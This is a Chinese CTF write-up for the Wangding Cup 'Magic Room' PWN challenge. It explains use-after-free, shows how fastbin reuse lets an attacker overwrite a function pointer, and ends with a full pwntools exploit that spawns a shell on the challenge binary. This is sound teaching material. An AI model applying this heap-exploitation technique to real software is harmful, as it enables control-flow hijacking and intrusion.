前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN | “网鼎杯”朱雀之战——魔法房间题解

PWN | “网鼎杯”朱雀之战——魔法房间题解

作者头像
tinyfisher
发布2020-05-27 15:14:38
6830
发布2020-05-27 15:14:38
举报
文章被收录于专栏:湛卢工作室湛卢工作室

复现一下上周末“网鼎杯”朱雀组中PWN 题——魔法房间。本题主要考察堆溢出中的UAF(Use After Free)漏洞,是经典的“菜单题”。

0x01 UAF原理

参考CTF-wiki,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer

0x02 漏洞分析

运行程序查看流程,出现一个菜单,主要有4个功能:learn magic、forget magic、use magic、leave。

其中learn magic就是新申请一个16字节的结构体,结构如下:

代码语言:javascript
复制
typedef struct magic {  
    char *buf; //内容指针  
    void *func; //函数指针  
} magic;  

forget magic 是释放一个结构体,use magic 是将结构体中的内容打印出来,leave是退出程序。

查看一下程序的保护机制,64位程序,开启了Canary和NX。逆向程序,代码审计,发现在forget magic功能处free结构体后,没有将指针设置为NULL,存在UAF漏洞:

同时,程序存在一个后门函数,所以我们的思路就是如何利用UAF漏洞去调用后门函数即可。

由于程序中的use magic功能是通过函数指针的方式进行利用,所以我们需要将结构体中的函数指针修改为后门函数,然后再调用即可。

接下来就是如何利用UAF漏洞,构造我们需要的情况了。思路如下:

我们首先申请两块内容为0x20大小的内存(调用两次learn magic 功能,大小均设置为0x20)。按照程序逻辑,程序会分别申请0x10大小的结构体指针和0x20大小的内存块保存用户输入,index 分别为index 0 和index 1。

接着,我们先后free掉 index 1和index 0,此时,按照glibc 中的堆内存分配机制,在fastbin结构中, fastbin[0]和fastbin[1]中将分别保存2个0x20和0x30的 free chunk(fastbin的大小加上了chunk header的大小0x10)。

然后,我们再申请0x10大小的内存(调用learn magic 功能,大小设置为0x10),按照glibc堆内存的管理机制,会将fastbin[0]中的两个0x20的free chunk (两个原先的magic结构体)分配给用户,按照fastbin “先进后出”的原则,此时我们的输入就可以修改原先index 1中的函数指针内容。我们将原先index 1中的函数指针修改为后门函数的地址,由于存在UAF漏洞,这时再调用index 1的函数指针(调用use magic功能,index 输入1),就可以拿到程序的shell。

动态调试验证一下我们思路,我们首先申请两个0x20的内存,然后依次free,此时fastbin 结构中的情况如下:

我们再申请0x10大小的内存,fastbin 结构中的情况如下:

可以看到,glibc果然将fastbin[0]中的两个free chunk 分配给了用户,我们在申请的内存中写入“aaaaaaaaaaaaaaaa”,在内存中查看情况:

和我们预想的一样,我们将原先index 1的函数指针和内容指针都修改成为0x6161616161616161,由于存在UAF漏洞,如果此时我们调用原先的index 1中的函数指针,程序的RIP就会变为0x6161616161616161,由于该地址不合法,程序就会报错:

此时,我们已经控制了程序的执行流,就可以编写exp了。

0x03 EXP利用

代码语言:javascript
复制
from pwn import *
context.log_level="debug" 
r = process('./magic')
def learn(size, content):
  r.recvuntil("choice :")
  r.sendline('1')
  r.recvuntil(":")
  r.sendline(str(size))
  r.recvuntil(":")
  r.sendline(content)

def forget(index):
  r.recvuntil("choice :")
  r.sendline('2')
  r.recvuntil("index :")
  r.sendline(str(index))

def use(index):
  r.recvuntil("choice :")
  r.sendline('3')
  r.recvuntil("index :")
  r.sendline(str(index))

system = 0x400A0D
learn(0x20, 'a')
learn(0x20, 'b')
forget(1)
forget(0)
payload = p64(0) + p64(system)
learn(0x10, payload)
use(1)
r.interactive()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 湛卢工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 UAF原理
  • 0x02 漏洞分析
  • 0x03 EXP利用
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档